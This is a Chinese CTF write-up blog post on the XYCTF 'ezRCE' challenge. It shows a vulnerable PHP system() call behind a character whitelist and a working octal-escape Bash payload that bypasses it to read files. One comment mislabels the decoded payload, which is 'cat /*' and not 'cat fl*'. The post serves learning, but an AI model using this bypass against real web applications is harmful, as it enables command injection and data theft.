Web命令執行筆記
會將web命令執行的題目放到這篇部落格來記錄,方便自己日後查閱。
XYCTF-ezRCE(只允許數字、$、<、\)
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
- 八進位制轉義序列: 八進位制轉義序列以反斜槓
\
開頭,後面跟著一到三個八進位制數字(0-7)。例如,\101
表示ASCII字元'A'(十進位制的65)。 - 十六進位制轉義序列: 十六進位制轉義序列以
\x
或\X
開頭,後面跟著一到兩個十六進位制數字(0-9,A-F,a-f)。例如,\x41
或\X41
都表示字元 'A'。
$'\154\163'
就可以執行ls命令,第一個$用來轉義,後面是ls
<<<
:這是 Bash 中的 "here string" 語法,它允許你將一個字串傳遞給一個命令作為輸入,而不是從檔案中讀取或作為命令列引數。
$0<<<'ls'
$0<<<$'\154\163'
#第二行比第一行多一個$,這個$是轉義的意思。
$0其實就是指令碼本身的名字,在命令列中,它一般是bash
所以$0<<<$'\154\163'
其實就是bash<<<$'\154\163'
這行程式碼 bash<<<$'\154\163'
是在Bash shell中使用Here String的一種方式,用於向Bash直接傳遞一個包含轉義序列的字串作為輸入。
bash
: 指的是Bash shell本身,這裡作為接收輸入的命令。<<<
: Here String運算子,它允許你將跟在其後的字串作為命令的標準輸入。$'...'
: 這種引號內的字串允許使用C語言風格的轉義序列。\154
和\163
分別代表ASCII碼的八進位制表示,對應字元'l'(小寫的L)和's'。
因此,$'\154\163'
解釋後就是字串 "ls"。所以整行命令的意思是直接透過Bash執行字串 "ls" 作為命令輸入,等同於在終端直接輸入 ls
命令,通常用於列出當前目錄下的檔案和目錄。
?cmd=$0<<<$'\143\141\164\040\057\52'
#就是在執行$0<<<'cat fl*'
更多用法和更詳細的解釋:https://xz.aliyun.com/t/12242